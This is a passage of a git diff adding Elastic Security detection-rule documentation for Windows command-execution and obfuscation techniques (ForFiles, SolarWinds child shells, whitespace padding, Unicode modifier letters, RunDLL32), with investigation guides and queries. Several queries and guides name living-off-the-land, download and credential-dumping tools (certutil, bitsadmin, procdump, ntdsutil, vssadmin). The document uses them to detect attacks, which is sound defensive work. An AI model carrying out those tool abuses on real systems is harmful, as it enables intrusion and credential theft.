logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Forfiles/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Command Execution via ForFiles* + + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This is a dual-use tool, meaning its usage is not inherently malicious. Analysts can dismiss the alert if the administrator is aware of the activity, no other suspicious activity was identified. + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and user.id != "S-1-5-18" and + (process.name : "forfiles.exe" or ?process.pe.original_file_name == "forfiles.exe") and process.args : ("/c", "-c") and + not process.args : ("-d", "/d", "cmd /c copy @file*", "cmd /c DEL /Q /F @*", "cmd /c del @*", "D:\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-execution-via-solarwinds-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-execution-via-solarwinds-process.asciidoc new file mode 100644 index 0000000000..934c3ad17b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-execution-via-solarwinds-process.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-command-execution-via-solarwinds-process]] +=== Command Execution via SolarWinds Process + +A suspicious SolarWinds child process (Cmd.exe or Powershell.exe) was detected. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html +* https://github.com/mandiant/sunburst_countermeasures/blob/main/rules/SUNBURST/hxioc/SUNBURST%20SUSPICIOUS%20FILEWRITES%20(METHODOLOGY).ioc + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Command Execution via SolarWinds Process* + + +SolarWinds is a widely used IT management tool that can be targeted by adversaries to execute unauthorized commands. Attackers may exploit SolarWinds processes to launch command-line interpreters like Cmd.exe or Powershell.exe, potentially leading to system compromise. The detection rule identifies suspicious child processes initiated by specific SolarWinds executables, flagging potential misuse by correlating process start events with known SolarWinds parent processes. This helps in early detection of malicious activities leveraging SolarWinds for command execution. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific SolarWinds parent process that initiated the suspicious child process (Cmd.exe or Powershell.exe) and note the exact executable name and path. +- Examine the timeline of events around the process start event to identify any preceding or subsequent suspicious activities, such as unusual network connections or file modifications. +- Check the user account associated with the process execution to determine if it aligns with expected behavior or if it indicates potential compromise or misuse. +- Investigate the command line arguments used by the child process to assess if they contain any malicious or unexpected commands. +- Correlate the event with other security logs and alerts from data sources like Microsoft Defender XDR or Sysmon to gather additional context and identify potential patterns of malicious behavior. +- Assess the system's current state for any indicators of compromise, such as unauthorized changes to system configurations or the presence of known malware signatures. + + +*False positive analysis* + + +- Routine administrative tasks using SolarWinds may trigger the rule when legitimate scripts are executed via Cmd.exe or Powershell.exe. Users can create exceptions for known maintenance scripts or tasks that are regularly scheduled and verified as safe. +- Automated updates or patches initiated by SolarWinds processes might be flagged. To mitigate this, users should whitelist specific update processes or scripts that are part of the regular update cycle. +- Monitoring or diagnostic activities performed by IT staff using SolarWinds tools can result in false positives. Establish a baseline of normal activities and exclude these from alerts by identifying and documenting regular diagnostic commands. +- Custom scripts developed for internal use that leverage SolarWinds processes could be misidentified as threats. Ensure these scripts are reviewed and approved, then add them to an exception list to prevent unnecessary alerts. +- Third-party integrations with SolarWinds that require command execution might be mistakenly flagged. Verify the legitimacy of these integrations and exclude their associated processes from detection rules. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized command execution and potential lateral movement. +- Terminate any suspicious child processes such as Cmd.exe or Powershell.exe that were initiated by the identified SolarWinds parent processes. +- Conduct a thorough review of the affected system's logs and configurations to identify any unauthorized changes or additional indicators of compromise. +- Restore the system from a known good backup if any unauthorized changes or malicious activities are confirmed. +- Update and patch the SolarWinds software and any other vulnerable applications on the affected system to mitigate known vulnerabilities. +- Implement application whitelisting to prevent unauthorized execution of command-line interpreters from SolarWinds processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.name: ("cmd.exe", "powershell.exe") and +process.parent.name: ( + "ConfigurationWizard*.exe", + "NetflowDatabaseMaintenance*.exe", + "NetFlowService*.exe", + "SolarWinds.Administration*.exe", + "SolarWinds.Collector.Service*.exe", + "SolarwindsDiagnostics*.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-line-obfuscation-via-whitespace-padding.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-line-obfuscation-via-whitespace-padding.asciidoc new file mode 100644 index 0000000000..bcea68cd72 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-line-obfuscation-via-whitespace-padding.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-command-line-obfuscation-via-whitespace-padding]] +=== Command Line Obfuscation via Whitespace Padding + +Identifies process execution events where the command line value contains a long sequence of whitespace characters or multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections by padding their malicious command with unnecessary whitespace characters. These observations should be investigated for malicious behavior. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: macOS +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: ES|QL +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Command Line Obfuscation via Whitespace Padding* + + +This rule identifies process execution events where the command line value contains a long sequence of whitespace +characters or multiple occurrences of contiguous whitespace. Attackers may attempt to evade signature-based detections +by padding their malicious command with unnecessary whitespace characters. + + +*Possible investigation steps* + + +- Analyze the command line of the process in question for evidence of malicious code execution. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files +for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate abnormal behaviors observed by the subject process such as network connections, registry or file +modifications, and any spawned child processes. +- Retrieve the process executable and determine if it is malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled tasks creation. + - Use the PowerShell `Get-FileHash` cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- Alerts derived from this rule are not inherently malicious. Analysts can dismiss the alert if they don't find enough +evidence of further suspicious activity. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that + attackers could use to reinfect the system. +- Remove the malicious certificate from the root certificate store. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and +malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are +identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business +systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the +mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-* metadata _id, _version, _index +| where event.category == "process" and event.type == "start" and event.action != "fork" +// more than 100 spaces in process.command_line +| eval multi_spaces = LOCATE(process.command_line, space(100)) +| where multi_spaces > 0 +| keep user.name, host.id, host.name, process.command_line, process.executable, process.parent.executable, _id, _version, _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-obfuscation-via-unicode-modifier-letters.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-obfuscation-via-unicode-modifier-letters.asciidoc new file mode 100644 index 0000000000..c918868dae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-obfuscation-via-unicode-modifier-letters.asciidoc @@ -0,0 +1,191 @@ +[[prebuilt-rule-8-19-34-command-obfuscation-via-unicode-modifier-letters]] +=== Command Obfuscation via Unicode Modifier Letters + +Identifies the presence of Unicode modifier letters in the process command_line. Adversaries sometimes replace ASCII characters with visually similar Unicode modifier letters to evade simple string-based detections. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Command Obfuscation via Unicode Modifier Letters* + + + +*Possible investigation steps* + + +- What did the raw modifier-letter command hide after ASCII normalization? + - Focus: raw `process.command_line` and modifier-letter code points in `U+02B0-U+02FF` or `U+1D2C-U+1D7B`. + - Hint: preserve the raw string, view code points, then compare with NFKC or ASCII-folded rendering; visual review can miss modifier letters a Windows utility may parse as ASCII. + - Implication: escalate when normalization reveals a behavior-changing verb, flag, URL, path, or target; lower suspicion when characters remain in localized names, package names, or path text and behavior is unchanged. + +- What operational intent does the normalized command express? + - Focus: normalized `process.command_line`, `process.name`, and the hidden verb, option, URL, path, or target after ASCII normalization. + - Hint: map the hidden token to the utility family: "urlcache" or remote retrieval for certutil/bitsadmin/curl/wget, "encodedcommand" or script execution for PowerShell/cmd/script hosts, add/create/delete for reg/sc/schtasks, shadow/log deletion for vssadmin/wevtutil, and dump/export for procdump/ntdsutil. Treat paired quote insertion or shorthand options as adjacent obfuscation on the same decision path. + - Implication: escalate when the normalized token enables high-risk utility behavior; lower suspicion when it remains read-only status, inventory, or installer activity fitting the same process context. + +- Is the utility identity consistent with the normalized behavior? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the binary is renamed, user-writable, unsigned/untrusted, mismatched to its original file name, or new for the host; lower suspicion when a signed, stable utility path fits the normalized behavior. Identity alone never clears obfuscation. + +- Does the launch and session context explain why this utility received obfuscated text? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.Ext.session_info.logon_type`, `process.Ext.token.elevation_level`, and the `user.id` / `host.id` cohort. + - Implication: escalate when a document, browser, archive tool, script host, unexpected interactive user, remote session, or unexplained service chain introduces the command; lower suspicion when a recognized management, installer, or testing launcher runs the same unchanged pattern under the expected account and host cohort. + +- Did the obfuscated process launch follow-on process activity? + - Focus: child process starts on the same `host.id` where `process.parent.entity_id` matches alert `process.entity_id`; read child `process.name`, `process.executable`, and `process.command_line`. !{investigate{"description":"","label":"Child process activity from the obfuscated process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: inspect same-process file, network, or registry activity for utility effects without child processes. !{investigate{"description":"","label":"File, network, or registry activity by the obfuscated process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} Missing network telemetry is unresolved, not benign. If `process.entity_id` is absent, pivot with `host.id`, alert `process.pid`, child `process.parent.pid`, and a tight alert window. + - Implication: escalate when child activity shows shells, script hosts, installers, remote clients, credential tools, service/task utilities, or cleanup commands matching normalized intent; lower suspicion when no suspicious child follows and the normalized command fits the local workflow. + +- If local evidence is suspicious or unresolved, does related alert history change scope? + - Focus: related alerts for the same `host.id`, using the strongest local suspicious anchor: normalized command fragment, modifier-letter sequence, utility identity, or parent launcher. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if host history does not explain the activity, compare related alerts for the same `user.id` with the same anchors. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden containment when the same obfuscation pattern appears across unrelated hosts or users; keep local when the pattern stays confined to one confirmed workflow and process evidence has no contradiction. + +- Based on command meaning, utility identity, lineage/session, follow-on processes, and scope, what disposition is supported? + - Implication: escalate when normalization changes behavior and identity, lineage, child-process, or scope evidence supports abuse; close only when normalized meaning is unchanged or clearly benign and every process-context category fits one exact workflow; preserve raw command evidence and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Localized product names, internationalized paths, user-supplied file names, vendor installers, deployment frameworks, or internal admin tools can introduce non-ASCII package names or paths. Confirm only when normalization leaves behavior unchanged, modifier letters sit in content rather than a verb or flag, utility identity and parent command line match one recognized workflow, and `user.id` plus `host.id` fit the same local task. If records exist, use them as corroboration; otherwise require prior alerts from this rule with the same normalized command pattern, launcher, host, and user. +- Security testing or detection-validation exercises may intentionally use obfuscated commands. Confirm by matching normalized `process.command_line`, modifier-letter sequence, `process.parent.executable`, `host.id`, and `user.id` to the test scope; outside test records can corroborate but should not override contradictory process evidence. +- Before creating an exception, build it from the minimum confirmed pattern: normalized `process.command_line`, modifier-letter sequence or code-point range, utility identity in `process.executable` or `process.pe.original_file_name`, launcher context in `process.parent.executable`, and the stable `host.id` or `user.id` cohort. Avoid exceptions on `process.name` alone or the mere presence of non-ASCII characters. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and record the raw and normalized `process.command_line`, recovered code points, utility identity, parent command line, and `user.id` / `host.id` evidence that validated the workflow. Create an exception only for the same recurring pattern. +- If suspicious but unconfirmed, preserve the raw command string, normalized rendering, recovered code points, alerting and child `process.entity_id` values, parent command line, and `user.id` / `host.id` scope before containment. Apply reversible containment first, such as heightened monitoring, temporary account restrictions, or host isolation only when the normalized command, lineage, or follow-on process activity suggests active compromise and the host can tolerate isolation. +- If confirmed malicious, isolate the host or restrict the affected account based on the normalized intent, launcher chain, child process activity, and related-alert scope. Record alerting and child `process.entity_id` values before suspending or terminating processes, then eradicate only the payloads, configuration changes, or destructive actions identified in the case evidence. +- Post-incident hardening: replace scripts that require modifier-letter arguments, pin administrative automation to stable signed launcher paths and expected parent command lines, and retain full process command-line, parentage, child-process, and user-host telemetry for future alerts. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ( + "reg.exe", "net.exe", "net1.exe", "certutil.exe", "MSHTA.EXE", "msiexec.exe", "bitsadmin.exe", "CertReq.exe", + "PrintBrm.exe", "MSBuild.exe", "wuauclt.exe", "curl.exe", "wget.exe", "ssh.exe", "Cmd.Exe", "PowerShell.EXE", + "CONHOST.EXE", "wscript.exe", "cscript.exe", "REGSVR32.EXE", "RUNDLL32.EXE", "procdump.exe", "ntdsutil.exe", + "diskshadow.exe", "schtasks.exe", "sc.exe", "wmic.exe", "VSSADMIN.EXE", "WBADMIN.EXE", "iCACLS.EXE", + "sftp.exe", "scp.exe", "esentutl.exe", "InstallUtil.exe", "wevtutil.exe" + ) or + ?process.pe.original_file_name in ( + "reg.exe", "net.exe", "net1.exe", "CertUtil.exe", "MSHTA.EXE", "msiexec.exe", "bitsadmin.exe", "CertReq.exe", + "PrintBrm.exe", "MSBuild.exe", "wuauclt.exe", "curl.exe", "wget.exe", "ssh.exe", "Cmd.Exe", "PowerShell.EXE", + "CONHOST.EXE", "wscript.exe", "cscript.exe", "REGSVR32.EXE", "RUNDLL32.EXE", "procdump", "ntdsutil.exe", + "diskshadow.exe", "schtasks.exe", "sc.exe", "wmic.exe", "VSSADMIN.EXE", "WBADMIN.EXE", "iCACLS.EXE", + "sftp.exe", "scp.exe", "esentutl.exe", "InstallUtil.exe", "wevtutil.exe" + ) + ) and + process.command_line regex """.*[ʰ-˿ᴬ-ᶻ]+.*""" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-shell-activity-started-via-rundll32.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-shell-activity-started-via-rundll32.asciidoc new file mode 100644 index 0000000000..da45bf477a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-command-shell-activity-started-via-rundll32.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-command-shell-activity-started-via-rundll32]] +=== Command Shell Activity Started via RunDLL32 + +Identifies command shell activity started via RunDLL32, which is commonly abused by attackers to host malicious code. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Credential Access +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Command Shell Activity Started via RunDLL32* + + +RunDLL32 is a legitimate Windows utility used to execute functions in DLLs, often leveraged by attackers to run malicious code stealthily. Adversaries exploit it to launch command shells like cmd.exe or PowerShell, bypassing security controls. The detection rule identifies such abuse by monitoring for command shells initiated by RunDLL32, excluding known benign patterns, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent-child relationship between rundll32.exe and the command shell (cmd.exe or powershell.exe) to ensure the alert is not a false positive. +- Examine the command line arguments of rundll32.exe to identify any suspicious or unusual DLLs or functions being executed, excluding known benign patterns. +- Check the user account associated with the process to determine if it aligns with expected behavior or if it indicates potential compromise. +- Investigate the source and destination network connections associated with the process to identify any suspicious or unauthorized communication. +- Correlate the event with other security alerts or logs from the same host or user to identify any patterns or additional indicators of compromise. +- Review recent changes or activities on the host, such as software installations or updates, that might explain the execution of rundll32.exe with command shells. + + +*False positive analysis* + + +- Known false positives include command shells initiated by RunDLL32 for legitimate administrative tasks or software installations. +- Exclude command lines that match common benign patterns, such as those involving SHELL32.dll or temporary files used by trusted applications. +- Regularly update the list of exceptions to include new benign patterns identified through monitoring and analysis. +- Collaborate with IT and security teams to identify and document legitimate use cases of RunDLL32 in your environment. +- Use process monitoring tools to verify the legitimacy of command shells started by RunDLL32, ensuring they align with expected behavior. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as cmd.exe or powershell.exe that were initiated by rundll32.exe to halt potential malicious actions. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious files or remnants. +- Review and analyze the rundll32.exe command line arguments to understand the scope and intent of the activity, and identify any additional compromised systems or accounts. +- Reset credentials for any user accounts that were active on the affected system during the time of the alert to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for rundll32.exe 